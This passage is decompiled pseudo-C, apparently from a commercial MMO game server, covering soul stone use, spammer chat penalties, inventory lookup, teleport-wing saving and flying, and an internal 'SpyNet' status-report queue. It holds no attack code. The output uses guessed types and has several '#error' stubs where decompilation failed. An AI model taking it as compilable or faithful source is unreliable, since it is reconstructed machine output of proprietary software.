_DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { if ( *((_WORD *)v4 + 16046) ) *((_DWORD *)v4 + 16508) = ShineObjectClass::ShinePlayer::sp_HPStoneReserv; v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v8 = -1; FunctionEntarance::_FunctionEntarance(&_); } } } //----- (00518860) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // esi@1 char v5; // al@4 void *v6; // ecx@4 int v7; // eax@6 int v8; // eax@7 FunctionEntarance _; // [sp+8h] [bp-10h]@1 int v10; // [sp+14h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; if ( !(_S12_26 & 1) ) { _S12_26 |= 1u; cmc_97.cmc_AllowMode = 86; atexit(_E13_24); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_97.cmc_AllowMode) ) goto LABEL_23; v5 = (*(int (__thiscall **)(char *))(*((_DWORD *)v4 + 14442) + 16))((char *)v4 + 57768); v6 = v4; if ( v5 ) { LABEL_20: (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v6, 20, 6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_SOULSTONE_SP_USE_REQ"); return; } if ( (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2440))(v4) || (v7 = *(_DWORD *)((char *)v4 + 98)) == 0 || (v8 = *(_DWORD *)(v7 + 12), !*(_BYTE *)(v8 + 165)) ) { LABEL_23: v6 = v4; goto LABEL_20; } if ( *((_DWORD *)v4 + 8025) < *((_DWORD *)v4 + 933) ) { if ( *((_DWORD *)v4 + 16509) <= clockwatch.cw_CurrTick ) { if ( *(_BYTE *)(v8 + 158) ) { if ( *((_WORD *)v4 + 16047) ) { ShineObjectClass::ShinePlayer::sp_SPStoneUse(v4); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } else { (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { if ( *((_WORD *)v4 + 16047) ) *((_DWORD *)v4 + 16510) = ShineObjectClass::ShinePlayer::sp_SPStoneReserv; v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } else { (*(void (__thiscall **)(_DWORD, _DWORD, _DWORD))(*(_DWORD *)v4 + 772))(v4, 20, 6); v10 = -1; FunctionEntarance::_FunctionEntarance(&_); } } //----- (00518AA0) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 5u, 3u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00518B50) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x12u, 5u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (00518C00) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::SpamerPenaltyDataBox(SpamerPenaltyDataBox *this) { SpamerPenaltyDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0); v1->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.SecondRule = 0; v1->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.RepeatRule = 0; CCharacterTitleData::CCharacterTitleData(&v1->spdb_BinSpamerPenaltyData.baseclass_0); *(_DWORD *)&v1->spdb_BinSpamerPenaltyData.bdb_defaultblock.PenaltyLv = 0; HIBYTE(v1->spdb_BinSpamerPenaltyData.bdb_defaultblock.ProbateTime) = 0; } //----- (00518C60) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::_SpamerPenaltyDataBox(SpamerPenaltyDataBox *this) { BinaryData *v1; // esi@1 v1 = (BinaryData *)this; CCharacterTitleData::_CCharacterTitleData(&this->spdb_BinSpamerPenaltyData.baseclass_0); CCharacterTitleData::_CCharacterTitleData(v1); } //----- (00518CB0) -------------------------------------------------------- void __thiscall SpamerPenaltyDataBox::spdb_Load(SpamerPenaltyDataBox *this) { SpamerPenaltyDataBox *v1; // esi@1 v1 = this; BinaryDataBox::bdb_ReadData( &this->spdb_BinSpamerPenaltyRuleData, "../9Data/Shine/SpamerPenaltyRule.shn"); BinaryDataBox::bdb_ReadData(&v1->spdb_BinSpamerPenaltyData, "../9Data/Shine/SpamerPenalty.shn"); v1->spdb_SpamerPenaltyMaxNum = LOBYTE(v1->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord); } //----- (00518CE0) -------------------------------------------------------- unsigned __int16 __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetSecondRule(SpamerPenaltyDataBox *this) { void *v1; // eax@2 if ( this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) v1 = CDataReader::GetRecord(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0, 0); else v1 = &this->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock; return ((signed int)(1374389535 * (unsigned __int64)*(_WORD *)v1 >> 32) >> 5) + ((unsigned int)(1374389535 * (unsigned __int64)*(_WORD *)v1 >> 32) >> 31); } //----- (00518D10) -------------------------------------------------------- char __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetRepeatRule(SpamerPenaltyDataBox *this) { char result; // al@2 if ( this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) result = *((_BYTE *)CDataReader::GetRecord(&this->spdb_BinSpamerPenaltyRuleData.baseclass_0.baseclass_0, 0) + 2); else result = this->spdb_BinSpamerPenaltyRuleData.bdb_defaultblock.RepeatRule; return result; } //----- (00518D30) -------------------------------------------------------- bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetChatBlockTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *BlockTime) { SpamerPenaltyDataBox *v3; // ebp@1 unsigned int v4; // esi@1 void *v5; // eax@3 bool result; // al@7 v3 = this; v4 = 0; if ( this->spdb_SpamerPenaltyMaxNum ) { while ( 1 ) { v5 = v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) : &v3->spdb_BinSpamerPenaltyData.bdb_defaultblock; if ( PenaltyLv == *(_BYTE *)v5 ) break; ++v4; if ( (signed int)v4 >= v3->spdb_SpamerPenaltyMaxNum ) goto LABEL_7; } if ( v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { *BlockTime = *(_WORD *)((char *)CDataReader::GetRecord(&v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) + 1); result = 1; } else { *BlockTime = v3->spdb_BinSpamerPenaltyData.bdb_defaultblock.ChatBlockTime; result = 1; } } else { LABEL_7: result = 0; } return result; } //----- (00518DC0) -------------------------------------------------------- bool __thiscall SpamerPenaltyDataBox::spdb_SpamePenaltyGetProbateTime(SpamerPenaltyDataBox *this, char PenaltyLv, unsigned __int16 *ProbateTime) { SpamerPenaltyDataBox *v3; // ebp@1 unsigned int v4; // esi@1 void *v5; // eax@3 bool result; // al@7 v3 = this; v4 = 0; if ( this->spdb_SpamerPenaltyMaxNum ) { while ( 1 ) { v5 = v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ? CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) : &v3->spdb_BinSpamerPenaltyData.bdb_defaultblock; if ( PenaltyLv == *(_BYTE *)v5 ) break; ++v4; if ( (signed int)v4 >= v3->spdb_SpamerPenaltyMaxNum ) goto LABEL_7; } if ( v4 < v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0.m_pHead->nNumOfRecord ) { *ProbateTime = *(_WORD *)((char *)CDataReader::GetRecord( &v3->spdb_BinSpamerPenaltyData.baseclass_0.baseclass_0, v4) + 3); result = 1; } else { *ProbateTime = v3->spdb_BinSpamerPenaltyData.bdb_defaultblock.ProbateTime; result = 1; } } else { LABEL_7: result = 0; } return result; } //----- (00518E50) -------------------------------------------------------- void __thiscall MemoryQueue::MemoryQueue(MemoryQueue *this) { this->mq_Pointer.mask = 127; this->mq_Pointer.value = 0; } //----- (00518E70) -------------------------------------------------------- unsigned __int16 __thiscall MemoryQueue::mq_Store(MemoryQueue *this, unsigned __int16 hnd, ShineItemAttr_BindItem::Bind *content) { unsigned int v3; // eax@1 char *v4; // eax@1 v3 = this->mq_Pointer.mask & (this->mq_Pointer.value + 1); this->mq_Pointer.value = v3; this->mq_Buffer[v3].handle = hnd; v4 = (char *)&this->mq_Buffer[this->mq_Pointer.value].content; *(_DWORD *)v4 = *(_DWORD *)&content->mapid; *((_DWORD *)v4 + 1) = *(unsigned int *)((char *)&content->x + 2); *((_WORD *)v4 + 4) = HIWORD(content->y); return LOWORD(this->mq_Pointer.value); } //----- (00518EC0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(void *this, __int16 itemid, int loc) { void *v3; // esi@1 int v4; // ecx@1 int v5; // eax@2 int result; // eax@5 int *v7; // edx@6 __int16 v8; // ax@6 int v9; // eax@6 int v10; // esi@6 int *uii; // [sp+8h] [bp-2Ch]@4 char *v12; // [sp+Ch] [bp-28h]@4 int v13; // [sp+10h] [bp-24h]@4 int ibii; // [sp+14h] [bp-20h]@1 char *v15; // [sp+18h] [bp-1Ch]@1 int v16; // [sp+20h] [bp-14h]@4 int v17; // [sp+24h] [bp-10h]@4 int v18; // [sp+30h] [bp-4h]@1 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = (int)((char *)v3 + 35568); v18 = 0; ibii = (int)ItemBoxIterator::_vftable_; v15 = (char *)v3 + 35568; if ( v3 == (void *)-91688 ) v5 = (*(int (**)(void))(*(_DWORD *)v4 + 8))(); else v5 = (*(int (__stdcall **)(char *))(*(_DWORD *)v4 + 4))((char *)v3 + 91688); v16 = v5; ibii = (int)&ItemBoxIterIdent::_vftable_; LOWORD(v17) = itemid; LOBYTE(v18) = 1; uii = &ibii; v12 = (char *)v3 + 57768; v13 = 9; if ( InventoryLocking::UnlockedInventoryIterator::uii_Home((InventoryLocking::UnlockedInventoryIterator *)&uii) ) { v7 = uii; v8 = *(_WORD *)loc & 0x3FF | 0x2400; *(_WORD *)loc = v8; *(_WORD *)loc = v8 ^ (v8 ^ *((_WORD *)v7 + 4)) & 0x3FF; v9 = (**(int (__stdcall ***)(_DWORD))v7[1])(v7[2]); --funcallanalizer.fca_stackpoint; v10 = v9; ibii = (int)ItemBoxIterator::_vftable_; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); result = v10; } else { --funcallanalizer.fca_stackpoint; ibii = (int)ItemBoxIterator::_vftable_; v18 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_FindItemFromInventory"); result = 0; } return result; } // 59C6A0: using guessed type int (*ItemBoxIterator___vftable_[4])(); // 59C6AC: using guessed type int (__thiscall *ItemBoxIterIdent___vftable_)(_DWORD); //----- (00519040) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand(void *this, signed int limit) { void *v2; // ebx@1 int v3; // eax@3 int v4; // ebp@3 int v5; // ecx@4 char *v6; // [sp-4h] [bp-9Ch]@6 ITEM_INVEN inven; // [sp+10h] [bp-88h]@3 FunctionEntarance _; // [sp+14h] [bp-84h]@1 char sparrow; // [sp+18h] [bp-80h]@7 unsigned __int8 v10; // [sp+22h] [bp-76h]@7 __int16 v11; // [sp+23h] [bp-75h]@8 int v12; // [sp+25h] [bp-73h]@8 int v13; // [sp+29h] [bp-6Fh]@8 __int16 v14; // [sp+84h] [bp-14h]@7 char v15; // [sp+86h] [bp-12h]@7 unsigned int v16; // [sp+88h] [bp-10h]@10 int v17; // [sp+94h] [bp-4h]@1 v2 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( limit > 10 ) limit = 10; v3 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v2, unk_12510DDC, (int)&inven); v4 = v3; if ( v3 && (v5 = *(_DWORD *)(v3 + 112)) != 0 && (*(int (**)(void))(*(_DWORD *)v5 + 36))() == 13 ) { memcpy(&sparrow, (const void *)v4, 0x6Cu); v14 = *(_WORD *)(v4 + 108); v15 = *(_BYTE *)(v4 + 110); if ( v10 < limit ) { *(&v11 + 5 * v10) = -1; *(int *)((char *)&v12 + 10 * v10) = 10000; *(int *)((char *)&v13 + 10 * v10++) = 10000; ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v2, v4, *(_DWORD *)(v4 + 112), (int)&sparrow, (int)&inven); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v2 + 2240))(v2, 1792, 9); } v17 = -1; v6 = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; } else { v17 = -1; v6 = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingExpand"; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, v6); __security_check_cookie(v16); } //----- (005191C0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ(void *this, int netcmd, int len, __int16 handle) { void *v4; // ebx@1 int v5; // eax@5 int v6; // eax@8 int v7; // ebp@8 int v8; // ecx@10 int v9; // edx@13 Name3 *v10; // edi@18 char *v11; // eax@20 signed int v12; // [sp-8h] [bp-9Ch]@13 FunctionEntarance _; // [sp+Ch] [bp-88h]@1 ITEM_INVEN inven; // [sp+10h] [bp-84h]@8 ItemTotalInformation sparrow; // [sp+14h] [bp-80h]@12 unsigned int v16; // [sp+84h] [bp-10h]@17 int v17; // [sp+90h] [bp-4h]@1 v4 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v17 = 0; if ( !(_S4_20 & 1) ) { _S4_20 |= 1u; cmc_98.cmc_AllowMode = 70; atexit(_E5_68); } if ( !((1 << **((_BYTE **)v4 + 929)) & cmc_98.cmc_AllowMode) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4422); LABEL_22: --funcallanalizer.fca_stackpoint; v17 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_NC_MAP_WING_SAVE_REQ"); goto LABEL_17; } v5 = *(_DWORD *)((char *)v4 + 98); if ( !v5 ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4419); goto LABEL_22; } if ( !*(_BYTE *)(*(_DWORD *)(v5 + 12) + 107) ) { (*(void (__thiscall **)(void *, signed int, signed int, signed int))(*(_DWORD *)v4 + 776))(v4, 6, 21, 4419); goto LABEL_22; } v6 = ShineObjectClass::ShinePlayer::sp_FindItemFromInventory(v4, unk_12510DDC, (int)&inven); v7 = v6; if ( v6 ) { v8 = *(_DWORD *)(v6 + 112); if ( v8 ) { if ( (*(int (**)(void))(*(_DWORD *)v8 + 36))() == 13 ) { memcpy(&sparrow, (const void *)v7, 0x6Cu); *(_WORD *)((char *)&sparrow.iti_itemstruct.itemattr.binditem.portal[9].y + 1) = *(_WORD *)(v7 + 108); BYTE3(sparrow.iti_itemstruct.itemattr.binditem.portal[9].y) = *(_BYTE *)(v7 + 110); if ( *(_BYTE *)(netcmd + 2) < (unsigned __int8)sparrow.iti_itemstruct.itemattr.blot.lot ) { v10 = *(Name3 **)((char *)v4 + 98); if ( !v10 || !(unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v4 + 2560))(v4) ) goto LABEL_15; v11 = NameString::operator__(&namestring, v10); *(unsigned __int16 *)((char *)&sparrow.iti_itemstruct.itemattr.wlot.lot + 10 * *(_BYTE *)(netcmd + 2) + 1) = MapDataBox::mdb_2mapid(&mapdatabox, v11); *(unsigned int *)((char *)&sparrow.iti_itemstruct.itemattr.dlot.lot + 10 * *(_BYTE *)(netcmd + 2) + 3) = **(_DWORD **)((char *)v4 + 78); *(_DWORD *)&sparrow.iti_itemstruct.itemattr.amulet.upgradeopton[5 * *(_BYTE *)(netcmd + 2)] = *(_DWORD *)(*(_DWORD *)((char *)v4 + 78) + 4); ShineObjectClass::ShinePlayer::sp_AttrChange2DB(v4, v7, *(_DWORD *)(v7 + 112), (int)&sparrow, (int)&inven); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v4 + 2240))(v4, 1792, 9); v9 = *(_DWORD *)v4; v12 = 4417; } else { v9 = *(_DWORD *)v4; v12 = 4420; } (*(void (__thiscall **)(void *, signed int, signed int, signed int))(v9 + 776))(v4, 6, 21, v12); LABEL_15: v17 = -1; goto LABEL_16; } } } v17 = -1; LABEL_16: FunctionEntarance::_FunctionEntarance(&_); LABEL_17: __security_check_cookie(v16); } //----- (00519420) -------------------------------------------------------- #error "519420: undefined or illegal type '#440' (funcsize=189)" //----- (005196D0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly(void *this) { void *v1; // esi@1 signed int v2; // edi@1 unsigned __int16 v3; // ax@1 int v4; // ebp@2 int v5; // eax@3 char *v6; // edi@3 DebugLogging *v7; // eax@3 DebugLogging *v8; // esi@3 _iobuf *v9; // eax@5 DebugLogging *v10; // eax@7 DebugLogging *v11; // eax@7 int v12; // eax@9 unsigned int v13; // ecx@9 char *v14; // ecx@9 char *v15; // ST10_4@9 DebugLogging *v16; // eax@9 DebugLogging *v17; // eax@9 int v18; // ecx@10 MapInfo *v19; // edi@11 int v20; // ST10_4@13 Name4 *v21; // eax@13 char *v22; // ST08_4@13 DebugLogging *v23; // eax@13 DebugLogging *v24; // eax@13 DebugLogging *v25; // eax@13 DebugLogging *v26; // eax@13 unsigned int v27; // eax@14 char *v28; // eax@14 unsigned int v29; // eax@14 char *v30; // eax@14 int v31; // eax@14 int v32; // edx@14 char linkstruct; // [sp+14h] [bp-78h]@14 char v34; // [sp+28h] [bp-64h]@14 char v35; // [sp+49h] [bp-43h]@14 int v36; // [sp+6Ah] [bp-22h]@14 int v37; // [sp+6Eh] [bp-1Eh]@14 unsigned int v38; // [sp+7Ch] [bp-10h]@16 int v39; // [sp+88h] [bp-4h]@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"; v2 = -1; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = *((_WORD *)v1 + 46094); v39 = 0; if ( v3 >= 0x80u || (v4 = 12 * v3 + 306770304, 12 * v3 == -306770304) ) { v5 = (*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); namestring.ns_point.value = namestring.ns_point.mask & (namestring.ns_point.value + 1); v6 = (char *)&namestring + 256 * namestring.ns_point.value; *(_DWORD *)v6 = *(_DWORD *)v5; *((_DWORD *)v6 + 1) = *(_DWORD *)(v5 + 4); *((_DWORD *)v6 + 2) = *(_DWORD *)(v5 + 8); *((_DWORD *)v6 + 3) = *(_DWORD *)(v5 + 12); v6[16] = 0; v7 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null return "); v8 = v7; if ( DebugLogging::dl_ActivAll ) { if ( v7->dl_Activ ) { DebugLogging::dl_FilePoint(v7); v9 = v8->dl_FilePointer; if ( v9 ) fprintf(v9, "%d"); } } v10 = DebugLogging::operator<<(v8, (char *)&stru_598DE4); v11 = DebugLogging::operator<<(v10, v6); DebugLogging::operator<<(v11, &deb_LF); goto LABEL_15; } if ( *((_WORD *)v1 + 2) == queue_sparrowfly.mq_Buffer[v3].handle ) { v18 = queue_sparrowfly.mq_Buffer[v3].content.mapid; if ( v18 < mapdatabox.mdb_maxmapid ) { v19 = mapdatabox.mdb_index[v18]; if ( v19 ) { v27 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v27; v28 = (char *)&namestring + 256 * v27; *(_DWORD *)v28 = *(_DWORD *)&v19->MapName.n3_name[0]; *((_DWORD *)v28 + 1) = *(_DWORD *)&v19->MapName.n3_name[4]; *((_DWORD *)v28 + 2) = *(_DWORD *)&v19->MapName.n3_name[8]; v28[12] = 0; strncpy(&v34, v28, 0xCu); v29 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v29; v30 = (char *)&namestring + 256 * v29; *(_DWORD *)v30 = *(_DWORD *)&v19->MapName.n3_name[0]; *((_DWORD *)v30 + 1) = *(_DWORD *)&v19->MapName.n3_name[4]; *((_DWORD *)v30 + 2) = *(_DWORD *)&v19->MapName.n3_name[8]; v30[12] = 0; strncpy(&v35, v30, 0xCu); v31 = *(_DWORD *)(v4 + 4); v32 = *(_DWORD *)v1; v37 = *(_DWORD *)(v4 + 8); v36 = v31; (*(void (__thiscall **)(void *, signed int, signed int))(v32 + 772))(v1, 12, 26); (*(void (__thiscall **)(void *, signed int, signed int))(*(_DWORD *)v1 + 2240))(v1, 1792, 9); (*(void (__thiscall **)(void *, char *, signed int, signed int, signed int))(*(_DWORD *)v1 + 1472))( v1, &linkstruct, 6, 9, 10); LABEL_15: v39 = -1; goto LABEL_16; } v2 = -1; } v20 = queue_sparrowfly.mq_Buffer[v3].content.mapid; v21 = (Name4 *)(*(int (__thiscall **)(void *))(*(_DWORD *)v1 + 1352))(v1); v22 = NameString::operator__(&namestring, v21); v23 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null map"); v24 = DebugLogging::operator<<(v23, v22); v25 = DebugLogging::operator<<(v24, (char *)&stru_59F2B8); v26 = DebugLogging::operator<<(v25, v20); DebugLogging::operator<<(v26, &deb_LF); v39 = v2; } else { v12 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v1 + 1352))(v1); v13 = namestring.ns_point.mask & (namestring.ns_point.value + 1); namestring.ns_point.value = v13; v14 = (char *)&namestring + 256 * v13; *(_DWORD *)v14 = *(_DWORD *)v12; *((_DWORD *)v14 + 1) = *(_DWORD *)(v12 + 4); *((_DWORD *)v14 + 2) = *(_DWORD *)(v12 + 8); v15 = v14; *((_DWORD *)v14 + 3) = *(_DWORD *)(v12 + 12); v14[16] = 0; v16 = DebugLogging::operator<<(&ChargedItemLog, "Fly Null "); v17 = DebugLogging::operator<<(v16, v15); DebugLogging::operator<<(v17, &deb_LF); v39 = -1; } LABEL_16: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_ply_SparrowWingFly"); __security_check_cookie(v38); } // 5F493C: using guessed type unsigned __int8 DebugLogging__dl_ActivAll; //----- (00519A00) -------------------------------------------------------- void __thiscall SpyNet::EspionageAgent::EspionageAgent(SpyNet::EspionageAgent *this) { char *v1; // edx@1 signed int v2; // esi@1 this->ea_Pointer.mask = 15; this->ea_Pointer.value = 0; v1 = (char *)&this->ea_SecretReport[0].sr_Report.getheal.healingup; v2 = 16; do { *((_DWORD *)v1 - 2) = 1; *((_DWORD *)v1 - 1) = 0; *(_DWORD *)v1 = -1; *((_DWORD *)v1 + 1) = 1000; v1 += 16; --v2; } while ( v2 ); } //----- (00519A40) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice4Mob::IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this) { this->baseclass_0.io_Pointer.mask = 15; this->baseclass_0.io_Pointer.value = 0; this->baseclass_0.vfptr = (SpyNet::IntelligenceOfficeVtbl *)&SpyNet::IntelligenceOffice4Mob::_vftable_; } // 5CEE70: using guessed type int (__stdcall *SpyNet__IntelligenceOffice4Mob___vftable_)(int, int report); //----- (00519A60) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice4Mob::_IntelligenceOffice4Mob(SpyNet::IntelligenceOffice4Mob *this) { this->baseclass_0.vfptr = (SpyNet::IntelligenceOfficeVtbl *)SpyNet::IntelligenceOffice::_vftable_; } // 5CEE60: using guessed type int (*SpyNet__IntelligenceOffice___vftable_[3])(); //----- (00519A70) -------------------------------------------------------- #error "519A70: undefined or illegal type '#331' (funcsize=20)" //----- (00519AB0) -------------------------------------------------------- void __thiscall SpyNet::IntelligenceOffice::io_ReadReport(SpyNet::IntelligenceOffice *this, #331 *a2, SpyNet::EspionageAgent *spy) { SpyNet::IntelligenceOffice *v3; // esi@1 unsigned int v4; // ebp@1 int v5; // eax@2 SpyNet::SecretReportType v6; // ecx@2 char *v7; // eax@2 v3 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "SpyNet::IntelligenceOffice::io_ReadReport"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "SpyNet::IntelligenceOffice::io_ReadReport"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; while ( 2 ) { v5 = v3->io_Pointer.value & 0xF; v6 = spy->ea_SecretReport[v5].sr_Type; v7 = (char *)spy + v5 * 16; switch ( v6 ) { case 1: v3->vfptr->io_SRT_GETHEAL(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 2: v3->vfptr->io_SRT_SOMEONE_GIVE_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 3: v3->vfptr->io_SRT_SOMEONE_REMOVE_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 4: v3->vfptr->io_SRT_VANISH_ABSTATE(v3, a2, (SpyNet::SecretReport *)v7); goto LABEL_7; case 0: goto $L139512; default: LABEL_7: ++v4; v3->io_Pointer.value = v3->io_Pointer.mask & (v3->io_Pointer.value + 1); if ( v4 < 0x10 ) continue; AssertClass::ac_AssertFail( &shineassert, "SpyNet::IntelligenceOffice::io_ReadReport : Cannot found EOR(End of Report)", 0); $L139512: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "SpyNet::IntelligenceOffice::io_ReadReport"); return; } } } //----- (00519BC0) -------------------------------------------------------- #error "519BC0: undefined or illegal type '#331' (funcsize=153)" //----- (00519D90) -------------------------------------------------------- #error "519D90: undefined or illegal type '#331' (funcsize=194)" //----- (00519FF0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::sp_NC_CHAR_STAT_INCPOINT_REQ(void *this, int 